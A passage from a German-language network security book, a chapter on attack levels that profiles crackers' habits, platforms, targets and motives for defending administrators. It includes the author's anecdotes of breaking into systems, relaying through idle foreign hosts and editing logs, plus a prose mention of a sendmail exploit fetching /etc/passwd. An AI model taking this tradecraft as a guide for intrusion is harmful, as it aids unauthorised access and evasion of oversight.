http://www.alw.nih.gov/Security/FIRST/papers/general/berferd.ps
The Intrusion Detection Archive. Dies ist ein Archiv der Mailing-Liste zu Systemen zur Erkennung von
Eindringlingen (Intrusion Detection Systems - IDS). http://www.geek- girl.com/ids/
Artificial Intelligence and Intrusion Detection: Current and Future Directions. Proceedings of the
National Computer Security Conference. J. Frank, 1994. Dieses Dokument beschäftigt sich damit, wie
man Rechnern beibringen kann, Eindringlinge mit Hilfe üblicher Muster zu erkennen.
http://phobos.cs.ucdavis.edu:8001/papers/ncsc.94.ps.gz
An Application of Pattern Matching in Intrusion Detection. Kumar und Spafford. http://
www.raptor.com/lib/ncsc.94.ps
A Pattern Matching Model for Misuse Intrusion Detection. Kumar und Spafford. http://
www.raptor.com/lib/ncsc.pdf
Intrusion Detection in Computers. Victor H. Marshall. ftp://coast.cs.purdue.edu/pub/
doc/intrusion_detection/auditool.txt.Z
An Introduction to Intrusion Detection. Aurobindo Sundaram. http://www.eng.fsu.edu/
~kuncick/intrusion/intrus.html
ASAX: Software Architecture and Rule-Base Language for Universal Audit Trail Analysis. Ein
experimentelles System zur Erkennung von Eindringlingen. Naji Habra, Baudouin Le Charlier,
Abdelaziz Mounji und Isabelle Mathieu. ftp://coast.cs.purdue.edu/pub/doc/
intrusion_detection/HabraCharlierEtAl92.ps
Distributed Audit Trail Analysis. Abdelaziz Mounji, Baudouin Le Charlier, Denis Zampunieris und Naji
Habra. ftp://coast.cs.purdue.edu/pub/doc/intrusion_detection/ MounjiCharlierEtAl94.ps.gz
Michael Sobirey's Intrusion Detection Systems Page. Diese Seite führt derzeit 63 Systeme zur Erkennung
von Eindringlingen auf. http://www-rnks.informatik.tu-cottbus.de/ ~sobirey/ids.html
Security Breaches: Five Recent Incidents at Columbia University. Fuat Baran, Howard Kaye und
Margarita Suarez. Center for Computing Activities, Columbia University. http://
www.alw.nih.gov/Security/FIRST/papers/general/fuat.ps
The Social Organization of the Computer Underground. Gordon R. Meyer. http://
www.alw.nih.gov/Security/FIRST/papers/general/hacker.txt
There Be Dragons. Steven M. Bellovin. Beschreibung von Angriffen auf die AT&T-Firewall.
http://www.alw.nih.gov/Security/FIRST/papers/general/dragons.ps
Der entfernte Angriff
file:///d|/cool stuff/old/hack/kap24.htm (13 von 14) [19.04.2000 21:15:32]
Automated Tools for Testing Computer System Vulnerability. W. Timothy Polk. http://
www.alw.nih.gov/Security/FIRST/papers/general/tools.ps
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Stichwortverzeichnis
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Kapitel
25
Angriffsebenen
In diesem Kapitel wollen wir uns die unterschiedlichen Ebenen eines Angriffs ansehen. Ein Angriff ist
jede unbefugte Aktion, die mit dem Ziel ausgeführt wird, Ihren Server zu behindern, zu schädigen, außer
Gefecht zu setzen oder seine Sicherheit zu durchbrechen. Ein solcher Angriff kann von einem Versagen
des Dienstes bis hin zur vollständigen Offenlegung und Zerstörung Ihres Servers führen. Welche Ebene
eine erfolgreich gegen Ihr Netzwerk ausgeführte Attacke erreicht, hängt von den
Sicherheitsvorkehrungen ab, die Sie getroffen haben.
25.1 Wann kann es zu einem Angriff kommen?
Ein Angriff kann jederzeit ausgeübt werden, solange Ihr Netzwerk mit dem Internet verbunden ist. Da
die meisten Netzwerke 24 Stunden am Tag angebunden sind, bedeutet das, daß es jederzeit zu einem
Angriff kommen kann. Es gibt jedoch einige Gepflogenheiten, nach denen sich die meisten Angreifer
erwartungsgemäß verhalten.
Die Mehrzahl der Angriffe erfolgt (oder beginnt zumindest) spät nachts - bezogen auf die Zeitzone des
Servers. D.h., wenn Sie in Los Angeles sind und Ihr Angreifer sich in London befindet, wird die Attacke
vermutlich während der späten Nacht bis in die frühen Morgenstunden der Pazifik-Normalzeit erfolgen.
Sie würden vielleicht vermuten, daß Cracker bevorzugt am Tag arbeiten, weil dann so viel Traffic
herrscht, daß ihre Aktivitäten eher in der Menge untergehen. Es gibt jedoch einige Gründe, warum
Cracker diese Zeiten meiden:
Durchführbarkeit - Die Mehrzahl der Cracker hat einen Job, geht zur Schule oder verbringt den
Tag in anderen Umgebungen, die solche Aktivitäten tagsüber nicht ermöglichen. D.h. diese Leute
haben tagsüber etwas anderes zu tun, als Rechner zu knacken. Das hat sich in den letzten Jahren
geändert: Früher waren die meisten Cracker Kids, die zu Hause herumhingen und nichts zu tun
hatten.
Geschwindigkeit - Auf dem Daten-Highway kommt es immer häufiger zu Staus. Deshalb ist es oft
besser, zu Zeiten zu arbeiten, die einen schnellen Transport von Paketen ermöglichen. Diese Zeiten
hängen oft von der geographischen Lage ab. Jemand im Südwesten der USA, der einen Rechner in
London attackiert, sollte seine Tätigkeit am besten zwischen 22 Uhr und 12 Uhr mittags (Ortszeit)
ausüben. Vorher gibt es noch zu viele Leute im eigenen Land, die noch einmal ihre E-Mail oder
die neuesten Nachrichten abrufen, bevor sie zu Bett gehen, und dadurch die Leitungen verstopfen.
Angriffsebenen
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Später sind die ersten Frühaufsteher in den USA schon wieder dabei, ihre E-Mail zu bearbeiten.
Heimlichkeit - Stellen wir uns einmal vor, daß ein Cracker ein Sicherheitsloch entdeckt. Stellen
wir uns weiterhin vor, daß es 11 Uhr morgens ist und sich drei Systemadministratoren in das
Netzwerk eingeloggt haben. Was meinen Sie, wie die Chancen stehen, das System unbehelligt zu
knacken? Ziemlich schlecht, wenn Sie mich fragen. Systemadministratoren kommen seltsamem
Verhalten schnell auf die Spur, wenn sie Zeuge davon werden. Mir ist es einmal passiert, daß eine
Systemadministratorin mich sofort aufgespürt hat, nachdem ich an ihre Paßwort-Datei gelangt war.
Sie war in Kanada und ich in Los Angeles. Sie stellte mich zur Rede, bevor ich überhaupt eine
Chance hatte, die Leitung zu kappen.
Die beliebtesten Ziele von Crackern sind daher Systeme, in denen sich niemand befindet. Ich verwendete
eine Zeitlang eine Workstation in Japan, um meine Angriffe von dort aus zu starten, da nie jemand
eingeloggt zu sein schien. Von diesem Rechner aus startete ich Telnet und verband mich zurück in die
Vereinigten Staaten. Eine ähnliche Situation hatte ich einmal mit einem neuen ISP in Rom. (Mehr kann
ich nicht erzählen, da sie sich ganz bestimmt an mich erinnern werden und mein Inkognito dann gelüftet
wäre. Sie meinten tatsächlich, daß ich unbedingt bei ihnen vorbeischauen sollte, wenn ich mal wieder in
Italien hacken würde!)
Über solche Rechner können Sie vorübergehend die Kontrolle übernehmen und sich alles nach Ihrem
Geschmack einrichten. Außerdem haben Sie reichlich Zeit, die Log-Dateien zu ändern. Seien Sie also
gewarnt: Die meisten dieser Aktivitäten erfolgen in der Nacht - bezogen auf Ihre geographische Lage.
Tip:
Wenn Sie sehr gründlich protokolliert haben und Ihnen nur begrenzte Zeit zur Analyse dieser
Log-Dateien zur Verfügung steht, würde ich Ihnen raten, sich auf die Verbindungsanforderungen spät
nachts zu konzentrieren. Diese Abschnitte beinhalten ganz bestimmt interessante und merkwürdige
Informationen.
25.2 Welche Betriebssysteme verwenden Cracker?
Die von Crackern verwendeten Betriebssysteme variieren. Am wenigsten wahrscheinlich ist wohl die
Macintosh-Plattform. Es gibt einfach nicht genügend Tools für MacOS, und die benötigten Tools zu
portieren stellt einen zu großen Aufwand dar. Unix ist wahrscheinlich die am häufigsten verwendete
Plattform, und davon wahrscheinlich FreeBSD und Linux.
Der offensichtlichste Grund dafür sind die Kosten. Für den Preis dieses Buchs bekommen Sie eine
Linux-Distribution mit allen Tools, die Sie jemals benötigen: C, C++, Smalltalk, Perl, TCP/IP und vieles
mehr. Außerdem erhalten Sie den vollständigen Quellcode des Betriebssystems.
Diese Frage der Kosten ist gar nicht so trivial. Sogar ältere Workstations können teuer sein. Sie erhalten
mehr Rechen-Power, wenn Sie einen IBM-kompatiblen Rechner nehmen. Sie können heute für wenig
Geld an einen 100-MHz-PC mit 8 Mbyte RAM kommen. Dann spielen Sie noch FreeBSD oder Linux
auf den Rechner, und schon haben Sie eine leistungsfähige Workstation. Für ungefähr dasselbe Geld
bekommen Sie dagegen nur eine 25-MHz- SPARCstation 1 mit Festplatte, Monitor und Tastatur. Oder
eine ELC mit einer externen Platte und 16 Mbyte RAM. Die Kosten für die Software verschlimmern das
Ganze noch. Wenn Sie eine alte Sun kaufen, erhalten Sie damit vielleicht auch SunOS 4.1.x. Dann ist ein
Angriffsebenen
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C-Compiler (cc) dabei. Wenn Sie jedoch einen RS/6000 mit AIX 4.1.x kaufen, kommen Sie vielleicht
billiger an die Maschine, aber einen C-Compiler haben Sie damit noch nicht. Das läuft wahrscheinlich
darauf hinaus, daß Sie sich GCC aus dem Internet besorgen werden. Wie Sie sich denken können, ist ein
C-Compiler ein absolutes Muß. Ohne ihn können Sie die Mehrheit der erhältlichen Tools nicht
verwenden, da Sie diese zuerst kompilieren müssen. Das ist eine wichtige Überlegung und mit ein Grund
dafür, warum Linux immer beliebter wird.
Hinweis:
Die Kompatibilität ist kein wirkliches Problem. Die meisten guten Tools sind in der Unix-Umgebung
verfaßt worden, und diese können leicht auf die frei erhältlichen Unix-Plattformen portiert werden. In
vielen Fällen existieren bereits Binaries für Linux und FreeBSD (obwohl ich zugeben muß, daß dies
überwiegend für FreeBSD der Fall ist, da frühere Linux-Distributionen einen etwas eklektischen
Quellbaum hatten, der wahrscheinlich eher AIX ähnelte als anderen herkömmlichen Systemen wie
SunOS). Das ist zum Teil auch eine Kultfrage. Puristen bevorzugen im allgemeinen BSD.
25.2.1 Sun
Man sieht ziemlich häufig Cracker, die entweder SolarisX86 oder SCO als Plattform verwenden. Der
Grund dafür ist, daß man an diese Produkte, obwohl es Lizenzprodukte sind, ziemlich leicht
herankommen kann. Meistens sind Cracker, die diese Plattform verwenden, Studenten, oder sie kennen
Studenten. Deshalb können sie sich die sehr viel billigeren Schulversionen besorgen. Außerdem sind
diese Betriebssysteme auch deshalb eine preiswerte Alternative, weil sie auf PC-Architekturen laufen.
(SolarisX86 2.4 wurde sehr populär, nachdem Unterstützung für normale IDE-Laufwerke und
CD-ROM-Laufwerke integriert wurde. Vorher waren nur die teureren SCSI-Laufwerke unterstützt
worden.) Seit kurzem verteilt Sun Microsystems gegen einen kleinen Unkostenbeitrag (Porto- und
Mediumkosten) das Betriebssystem Solaris an Privatanwender mit kostenloser Lizenz, solange das
System nicht kommerziell benutzt wird.
25.2.2 Andere Unix-Plattformen
Unix-Plattformen sind deshalb populär, weil sie normalerweise geringe Hardware-Anforderungen
stellen. Ein Rechner mit Windows 95 und allem Zubehör benötigt eine Menge RAM. Linux oder
FreeBSD können Sie dagegen auf einem armseligen 386er laufen lassen und eine gute Leistung erhalten
(natürlich vorausgesetzt, daß Sie auf X verzichten). Das ist auch kein Problem, weil sogar Tools, die für
die X-Umgebung geschrieben worden sind, normalerweise ebenfalls über eine
Befehlszeilen-Schnittstelle verfügen (z.B. können Sie SATAN von der Kommandozeile ausführen).
25.2.3 Microsoft
Die Microsoft-Plattform unterstützt viele legitime Sicherheitstools, die für Angriffe auf entfernte Hosts
verwendet werden. Immer mehr Cracker verwenden Windows NT, da es eine sehr viel bessere Leistung
bietet als Windows 95 und außerdem über fortschrittliche Netzwerk-Tools verfügt. Darüber hinaus ist
Windows NT unter dem Aspekt der Sicherheit eine etwas ernster zu nehmende Plattform. Es verfügt
auch über eine Zugriffskontrolle, so daß Cracker ihren Spezis bestimmte Dienste sicher anbieten können.
Wenn sich diese »Freunde« einloggen und versuchen, das System zu zerstören, werden sie mit denselben
Angriffsebenen
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Kontrollen konfrontiert wie bei einem Rechner, der Crackern nicht so freundlich gesinnt ist.
Außerdem wird Windows NT immer beliebter, weil Cracker wissen, daß sie lernen müssen, mit dieser
Plattform umzugehen. Da Windows NT als Plattform für Internet-Server immer populärer wird (und das
wird es, spätestens seit DEC mit Microsoft kooperiert, auf jeden Fall), müssen Cracker wissen, wie man
dieses System knacken kann. Weiterhin werden Sicherheitsprofis auch Tools entwickeln, mit denen man
die interne Sicherheit von Windows-NT-Systemen testen kann. Ein starker Anstieg der Verwendung von
Windows NT als Cracker-Plattform ist also absehbar.
Hinweis:
Auch für Windows 95 werden immer mehr Tools entwickelt. Das wird dazu führen, daß sich die
Cracker-Szene etwas verändert. Solche Tools haben im allgemeinen grafische Oberflächen und
erfordern von ihrem Benutzer wenig Kenntnisse. Mit zunehmender Verbreitung dieser Tools wird es zu
noch mehr Sicherheitsverletzungen im Internet kommen. Dennoch glaube ich nicht, daß Windows 95 als
Cracker-Plattform jemals eine größere Rolle spielen wird.
25.3 Ausgangspunkte von Angriffen
Vor Jahren gingen viele Angriffe von Universitäten aus, da dort ein Internet-Zugang vorhanden war. Die
meisten Cracker waren Jugendliche, die keine andere Möglichkeit hatten, ins Internet zu kommen. Das
wirkte sich natürlich nicht nur auf den Ausgangspunkt der Attacke aus, sondern auch auf den Zeitpunkt
des Angriffs. Außerdem war damals echtes TCP/IP von zu Hause aus noch nicht als Option verfügbar.
Heute ist die Situation ganz anders. Cracker können Ihr Netzwerk von zu Hause aus, ihrem Büro oder
ihrem Wagen aus knacken. Es gibt jedoch auch einige konstante Größen. Zum Beispiel benutzen
ernsthafte Cracker im allgemeinen keine Online-Dienste wie AOL oder CompuServe. (Offensichtliche
Ausnahmen sind Cracker, die gestohlene Kreditkartennummern verwenden. In solchen Fällen sind
Online-Dienste eine ausgezeichnete Wahl.) Ein Grund dafür ist, daß diese Online-Dienste einen Hacker
oder Cracker schon beim geringsten Anlaß anzeigen. Der Verdächtige hat vielleicht noch nicht einmal
etwas Schlimmes getan (kleinere ISPs lassen sie vielleicht einfach gehen). Die Ironie dabei ist, daß große
Online- Dienste es den Versendern von Massenmailings durchaus erlauben, das Internet mit größtenteils
unerwünschten Werbemails zu bombardieren. Können Sie sich denken, warum? Neugierde wird
mißbilligt, aber purer Kommerz ist in Ordnung.
Ein weiterer Grund ist, daß diese Dienste keine Unix-Shell zusätzlich zum normalen PPP anbieten. Ein
Shell-Account kann viele Aktionen erleichtern, die sonst schwierig durchzuführen sind. Verfügbare
System-Tools bieten eine erweiterte Funktionalität, darunter verschiedene Shells, Perl, Awk, Sed, C,
C++ und eine Handvoll Systembefehle (z.B. showmount und rusers).
Langsam vervollständigt sich unser Bild eines typischen Crackers: Es ist eine Person, die spät in der
Nacht arbeitet, mit einem Unix- oder Windows-NT-Rechner und fortschrittlichen Tools ausgestattet ist
und aller Wahrscheinlichkeit nach über einen lokalen Provider ins Internet gelangt.
Angriffsebenen
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25.4 Wie sieht der typische Cracker aus?
Der typische Cracker läßt sich wahrscheinlich durch die folgenden Eigenschaften beschreiben:
Kann in C, C++ oder Perl programmieren - Das ist die generelle Voraussetzung, da viele der
grundlegenden Sicherheitstools in einer oder mehrerer dieser Sprachen geschrieben sind. Der
Cracker muß zumindest in der Lage sein, den Code richtig zu interpretieren, zu kompilieren und
auszuführen. Fortgeschrittene Cracker können Code, der nicht ausdrücklich für eine bestimmte
Plattform geschrieben wurde, auf ihre eigene Plattform portieren. Außerdem können sie neue
Code-Module für erweiterbare Produkte wie SATAN und SAFEsuite schreiben.
Hat weitreichende Kenntnisse über TCP/IP - Kein kompetenter Cracker kann ohne dieses Wissen
zurechtkommen. Ein Cracker muß zumindest wissen, wie das Internet funktioniert. Dazu reicht es
nicht aus, nur zu wissen, wie man sich mit dem Internet verbindet und im Netzwerk arbeitet. Der
moderne, kompetente Cracker muß über den Code innerhalb von TCP/IP Bescheid wissen, z.B.
über die Zusammensetzung der Header von IP- Paketen. Dazu muß man jedoch nicht unbedingt
Informatik studiert oder eine ähnliche Ausbildung absolviert haben. Viele eignen sich dieses
Wissen an, indem sie ihre Rechner zu Hause oder an ihrem Arbeitsplatz vernetzen.
Bewegt sich mehr als 50 Stunden pro Monat im Internet - Cracker sind keine sporadischen
Anwender. Wenn Sie einem Cracker bei der Arbeit zusehen, sehen Sie jemanden, der nicht nur
seinen Rechner, sondern auch das Internet ganz genau kennt. Erfahrungen lassen sich durch nichts
ersetzen, und ein Crakker muß diese machen. Einige Cracker sind vom Internet geradezu abhängig
und leiden an Schlaflosigkeit. Das ist kein Scherz.
Kennt sich mit mindestens zwei Betriebssystemen genau aus - eines davon ist zweifellos Unix
oder VMS.
Hat (oder hatte) einen Job, bei dem er Computer benutzt - Nicht jeder Cracker wacht eines
Morgens auf und beschließt, einen Großteil seines Lebens fortan dem Knacken von
Computer-Systemen zu widmen. Einige hatten Jobs in der Systemadministration oder der
Entwicklung. Diese Leute sind meistens älter und erfahrener. In solchen Fällen haben Sie es
meistens mit einem Profi-Crakker zu tun (der wahrscheinlich Erfahrungen damit hat,
Client-Server-Anwendungen zu entwickeln).
Sammelt alte, ausrangierte Computer-Hardware oder Software - Das klingt vielleicht dämlich, ist
es aber nicht. Viele ältere Anwendungen und Utilities können Aufgaben erfüllen, zu denen ihre
modernen Nachfolger nicht in der Lage sind. Ich hatte z.B. kürzlich eine Festplatte, die fehlerhafte
Sektoren meldete. Ich habe sie tausendmal neu formatiert und mit verschiedenen
Festplatten-Utilities probiert, sie zu reparieren. Nachdem ich mit den modernen Utilities mehrmals
erfolglos war, versuchte ich es mit einem obskuren Programm namens hdscrub.com, das vor
vielen Jahren geschrieben wurde. Im Handumdrehen war das Problem behoben und die Festplatte
sauber formatiert. Andere Beispiele sind alte Utilities, die Disketten mit unterschiedlichen Größen
formatieren können, große Dateien zur Archivierung aufsplitten, ungewöhnliche Dateisysteme
erzeugen und so weiter. Je erfahrener ein Cracker ist, desto größer ist seine Sammlung solcher
alten Utilities.
Angriffsebenen
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25.5 Wie sieht das typische Ziel aus?
Das typische Ziel ist schon schwerer zu definieren, da Cracker verschiedene Netzwerktypen aus
unterschiedlichen Gründen angreifen. Ein beliebtes Ziel ist jedoch das kleine, private Netzwerk. Cracker
sind sich Unternehmensgebaren und finanziellen Situationen durchaus bewußt. Da Firewalls in der
Anschaffung und Wartung teuer sind, haben kleinere Netzwerke meistens keine oder verwenden
minderwertige Produkte. Außerdem sind in kleinen Unternehmen selten Personen zu finden, die speziell
damit betraut sind, sich mit der Abwehr von Crakkern zu beschäftigen (denken Sie nur an den Bericht
aus Schweden, den ich in Kapitel 6, »Wer ist überhaupt anfällig für Attacken durch Cracker?«, erwähnt
habe). Außerdem sind kleinere Netzwerke leichter offenzulegen, weil sie folgendes Profil haben:
Die Eigentümer sind Internet-Neulinge.
Der Systemadministrator hat Erfahrungen mit LANs, aber nicht mit TCP/IP.
Entweder die Hardware oder die Software (oder beides) ist alt oder sogar veraltet.
Hinweis:
In ein solches Netzwerk einzudringen ist im allgemeinen einfacher, ebenso wie dort einen Rechner zu
unterhalten. Cracker bezeichnen dies als »einen Rechner besitzen«. Sie sagen z.B.: »Ich habe kürzlich
dieses Netzwerk geknackt, und jetzt besitze ich einen Rechner dort.« Dieses Besitzen bezieht sich auf
eine Situation, in der der Cracker Root-, Supervisor- oder Administrator-Privilegien auf dem Rechner
hat. Mit anderen Worten hat der Crakker die totale Kontrolle über den Rechner und könnte jederzeit
das Netzwerk komplett lahmlegen oder zerstören.
Dieses Profil ist jedoch nicht auf alle Zeiten festgelegt. Viele Cracker bevorzugen ein Kopf-
an-Kopf-Rennen, bei dem sie versuchen, ein neu entdecktes Sicherheitsloch auszunutzen, bevor der
Systemadministrator es gestopft hat. In diesem Fall sucht ein Cracker meistens nur die sportliche
Herausforderung.
Ein weiterer Punkt ist die Vertrautheit. Die meisten Cracker kennen zwei oder mehrere Betriebssysteme
aus Anwendersicht sehr genau, aber meistens nur eins aus Cracker-Sicht. D.h. die meisten Cracker
spezialisieren sich auf ein Betriebssystem. Es gibt nur wenige Cracker, die sich mit dem Knacken
mehrerer Plattformen auskennen. Wenn jemand z.B. mit VAX/VMS sehr vertraut ist, aber wenig über
SunOS weiß, wird er bevorzugt VAX-Stationen angreifen und schließlich durch seine so gewonnenen
Erfahrungen vielleicht auch DEC Alphas.
Universitäten sind teilweise Hauptangriffsziele, weil sie über extreme Rechenleistungen verfügen. Eine
Universität wäre z.B. ein ausgezeichneter Ausgangspunkt für eine ausgiebige Sitzung mit dem Ziel des
Knackens von Paßwörtern. Die Arbeit kann auf mehrere Workstations verteilt werden und dadurch viel
schneller durchgeführt werden, als es lokal machbar wäre. Ein weiterer Grund dafür, daß Universitäten
Hauptangriffsziele sind, ist die Vielzahl an Benutzern. Selbst in relativ kleinen Netzwerk-Segmenten sind
dies oft mehrere hundert. Die Administration derart großer Netzwerke ist eine sehr schwierige Aufgabe.
Die Chancen stehen sehr gut, daß ein geknackter Account in der Menge übersehen wird.
Weitere populäre Ziele sind die Netzwerke von Regierungsstellen. Hier tritt die anarchistische
Veranlagung eines Crackers zum Vorschein: Er hat den Wunsch, Regierungsstellen zu blamieren. Eine
solche Attacke kann, wenn sie erfolgreich durchgeführt wurde, dem Cracker innerhalb seiner Subkultur
Angriffsebenen
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großes Ansehen verschaffen. Dabei spielt es keine Rolle, ob der Cracker erwischt worden ist; wichtig ist
nur, daß er es geschafft hat, eine als sicher angesehene Site zu knacken. Die Kunstfertigkeit dieses
Crackers wird sich unter den Crackern im Internet schnell herumsprechen.
25.6 Warum wollen Cracker ein System angreifen?
Es gibt eine Menge Gründe, warum Cracker daran interessiert sein könnten, Ihr System anzugreifen:
Boshaftigkeit - Offen gesagt kann es einfach sein, daß der Cracker Sie nicht mag. Vielleicht ist er
ein verärgerter Mitarbeiter Ihres Unternehmens. Vielleicht haben Sie ihn in einer Usenet-Gruppe
einmal beleidigt. Eine übliche Situation ist auch, daß ein Cracker einen ISP knackt, bei dem er
einmal einen Account hatte. Der ISP hat dem Cracker aus irgendeinem Grund den Account
gekündigt, und nun ist der Cracker auf Rache aus.
Sportsgeist - Vielleicht haben Sie mit der Sicherheit Ihres Systems geprahlt und herumerzählt, daß
niemand dort eindringen könne. Oder Sie besitzen ein brandneues System, das der Cracker noch
nie testen konnte. Das sind Herausforderungen, denen kein Cracker widerstehen kann.
Geld - Jemand zahlt einem Cracker etwas dafür, daß er Ihr System lahmlegt oder an Ihre
geschützten Daten gelangt.
Dummheit - Viele Cracker möchten ihre Freunde beeindrucken und unternehmen absichtlich
etwas, damit das BKA an ihrer Tür klingelt. Das sind meistens Kids.
Neugierde - Viele Cracker handeln aus reiner Neugierde, weil es ihnen Spaß macht, oder aus
Langeweile.
Politik - Ein kleiner (aber nicht unbedeutender) Prozentsatz von Crackern hat politische Gründe.
D.h. sie suchen die Aufmerksamkeit der Presse, um ein bestimmtes Thema an die Öffentlichkeit zu
bringen, wie z.B. Tierschutz oder Rüstungskontrolle.
Das sind alles schlechte Gründe. Wenn Sie das Gesetz übertreten, sind Sie auf jeden Fall zu weit
gegangen. Bei Gesetzesübertretungen spielt oft ein Gefühl eine Rolle, das die ganze Sache sehr
aufregend und spannend werden läßt und Ihre Urteilsfähigkeit negativ beeinflussen könnte.
25.7 Über Angriffe
Ab welchem Ausmaß kann man von einem Angriff auf sein Netzwerk sprechen? Einige meinen, dies sei
schon der Fall, sobald ein Cracker entweder in ihr Netzwerk eingedrungen ist oder einen Teil davon
zeitweilig lahmgelegt hat. Aus juristischer Sicht könnten dies sicherlich auch gültige Anhaltspunkte sein,
mit deren Hilfe man einen Angriff definieren kann (obwohl in einigen Gesetzgebungen auch die Absicht
und nicht nur die erfolgreiche Durchführung einer Tat schon ausreicht).
Die juristische Definition eines Angriffs geht davon aus, daß dieser nur dann stattgefunden hat, wenn der
Cracker in das Netzwerk gelangt ist. Meiner Meinung nach ist jedoch schon die Ausübung von
Handlungen, die letztendlich zu einem Eindringen in ein Netzwerk führen werden, als Angriff zu
bezeichnen. Ich denke, daß Sie schon angegriffen werden, sobald ein Cracker mit der Arbeit an dem
Zielrechner beginnt.
Das Problem bei dieser Definition ist, daß ein Cracker manchmal, sei es aufgrund einer noch
Angriffsebenen
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unausgereiften Vorbereitung oder einfach mangelnder Gelegenheit, einige Zeit benötigt, um einen
Angriff schließlich auszuführen. Er könnte z.B. wochenlang weitere Informationen über Ihr System
sammeln, und diese Sitzungen könnte man kaum als Angriffe bezeichnen, da sie damit nicht viel zu tun
haben. Wenn ein Cracker weiß, daß Sie Log-Dateien zur Protokollierung der Vorgänge auf Ihrem
Rechner einsetzen, wählt er vielleicht diese langsame Vorgehensweise. Der Grad der Paranoia von
Systemadministratoren ist unterschiedlich, und diesen kann ein Cracker nur herausfinden, indem er
irgend etwas unternimmt (z.B. könnte er einen Scheinangriff von einer temporären Adresse aus starten
und auf die Antwort, ein Echo oder irgendwelche Aktivitäten des Systemadministrators warten). Die
meisten Administratoren gehen allerdings nicht aufgrund einer einzigen Anweisung aus dem Nichts in
die Luft, es sei denn, diese ist eine offensichtliche Attacke.
Ein Beispiel für eine offensichtliche Attacke ist, wenn die Log-Datei den Versuch eines alten
sendmail-Exploits preisgibt. Dabei führt der Cracker zwei oder drei Befehlszeilen an Port 25 aus. Diese
Befehle dienen stets dazu, den Server dazu zu bringen, eine Kopie der Datei /etc/ passwd an den Cracker
zurückzusenden. Wenn ein Systemadministrator das sieht, ist er höchstwahrscheinlich beunruhigt.
Anders ist das z.B. bei showmount. Ein Systemadministrator weiß wahrscheinlich, daß die Ausführung
der showmount-Anweisung ein verdächtiges Zeichen ist, aber er wird dies nie als ein versuchtes
Eindringen werten. Daraus kann man höchstens ableiten, daß jemand ein Eindringen in Erwägung zieht,
wenn überhaupt.
Diese Techniken der allmählichen Sammlung von Informationen haben ihre Vor- und Nachteile. Zum
Beispiel kann ein Cracker zu unterschiedlichen Zeiten von unterschiedlichen Adressen aus unauffällig an
den Türen eines Netzwerks klopfen (und die Fenster überprüfen). Spärliche Protokolle dieser Vorfälle,
von unterschiedlichen Adressen aus, lassen den normalen Systemadministrator wahrscheinlich noch
nicht hellhörig werden. Eine rabiatere Vorgehensweise (z.B. ein schwerer Scan) wird den
Systemadministrator dagegen sofort auf das Problem aufmerksam machen. Wenn ein Cracker nicht
ausreichend sicher ist, daß eine bekannte Sicherheitslücke auf einem Rechner existiert, wird er kaum eine
kompromißlose Scan-Attacke durchführen (jedenfalls nicht, wenn er clever ist).
Wenn Sie sich noch nicht lange mit der Sicherheit beschäftigen, ist es wichtig, daß Sie sich mit dem
Verhalten von Crackern vertraut machen. Sicherheitstechniker spielen die Bedeutung dieses Punkts oft
herunter, weil sie Cracker nur Geringschätzung entgegenbringen. Trotzdem gelingt es Crackern immer
wieder, die Sicherheit von vorgeblich sicheren, mit den neuesten und besten Sicherheitstechnologien
ausgestatteten Servern zu durchbrechen.
Die meisten Cracker sind keine Genies. Sie verwenden oft erprobte und zuverlässige Techniken, die in
der Szene weit verbreitet sind. Wenn ein Cracker sich seine Tools nicht selbst schreibt, muß er auf die
vorhandenen zurückgreifen. Jedes Tool hat Einschränkungen, die auf seiner speziellen Konzeption
beruhen. Deshalb sehen für die Opfer alle Angriffe, bei denen die gleichen Tools verwendet werden, im
Grunde gleich aus. Angriffe von Crackern, die strobe verwenden, sehen wahrscheinlich immer identisch
aus, solange das Zielsystem z.B. immer eine SPARC mit SunOS 4.1.3 ist. Diese Signaturen erkennen zu
können, ist eine wichtige Fertigkeit, die Sie sich aneignen sollten. Das Studium von Verhaltensmustern
geht jedoch noch ein bißchen weiter.
Die meisten Cracker lernen ihre Techniken (zumindest die Grundlagen) von ihren Vorgängern. Obwohl
es auch Pioniere unter den Crackern gibt, treten die meisten Cracker einfach in die Fußstapfen derer, die
vor ihnen da waren. Diese Techniken sind in von Crackern verfaßten Online-Dokumenten ausführlich
Angriffsebenen
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beschrieben, und solche Dokumente findet man zu Hunderten im Internet. Dort wird an äußerst
detaillierten Beispielen erläutert, wie man einen bestimmten Angriff durchführt.
Der Cracker-Neuling befolgt diese Anweisungen meistens sehr genau. Allerdings ist dies oft ungünstig,
da einige Angriffsmethoden inzwischen mehr als veraltet sind (und Abwehrlösungen entwickelt worden
sind, so daß der Cracker nur seine Zeit vergeudet). Wenn Sie einen solchen Angriff in Ihren Log-Dateien
finden, sieht er wahrscheinlich fast genauso aus wie in den Logs, die Sicherheitsprofis in verschiedenen
technischen Publikationen veröffentlicht haben, um Beispiele für Einbruchversuche zu illustrieren.
Tip:
Es kommt jedoch der Zeitpunkt, an dem ein Cracker genügend Erfahrungen gesammelt hat, um selbst
spezielle Methoden der Umsetzung von Angriffen entwickeln zu können. Bei dieser Art von Angriffen,
Hybridangriffe genannt, werden zwei oder mehrere Techniken kombiniert verwendet, um das
gewünschte Ziel zu erreichen. (Ein Beispiel dafür ist die bereits beschriebene DoS-Attacke, die
eigentlich eine Phase einer Spoofing-Attacke ist.) Es soll tatsächlich noch Cracker geben, die immer
noch die herkömmliche Technik verwenden, einen Befehl nach dem anderen einzutippen. In diesem Fall
erhalten Sie alle möglichen Arten interessanter Logging-Meldungen.
Auf jeden Fall ist es sehr lehrreich, das Verhalten von Crackern in echten Cracking-Situationen zu
studieren. Es gibt Dokumente dieses Inhalts im Internet, von denen Sie sich mindestens zwei oder drei
besorgen sollten. Eines der außergewöhnlichsten wurde von Bill Cheswick, damals AT&T Laboratories,
geschrieben. Cheswick beginnt diesen Klassiker wie folgt:
Am 7. Januar 1991 versuchte ein Cracker, der glaubte, die berühmte sendmail-
DEBUG-Sicherheitslücke in unserem Internet-Gateway-System gefunden zu haben, an eine
Kopie unserer Paßwortdatei zu gelangen. Ich schickte ihm eine.
Cheswick leitete die passwd-Datei an den Cracker und erlaubte ihm, in eine geschützte Umgebung
einzudringen. Dort beobachtete er den Cracker dabei, wie er unterschiedliche Methoden ausprobierte, um
privilegierten Zugriff zu erhalten und schließlich alle Dateien zu löschen. Der Angriff schien von der
Stanford University auszugehen, aber später stellte man fest, daß der Angreifer aus den Niederlanden
kam. Damals waren solche Aktivitäten in den Niederlanden noch nicht ungesetzlich. Deshalb konnte
man nichts unternehmen, obwohl der Cracker schließlich aufgespürt wurde. Jedenfalls versuchte der
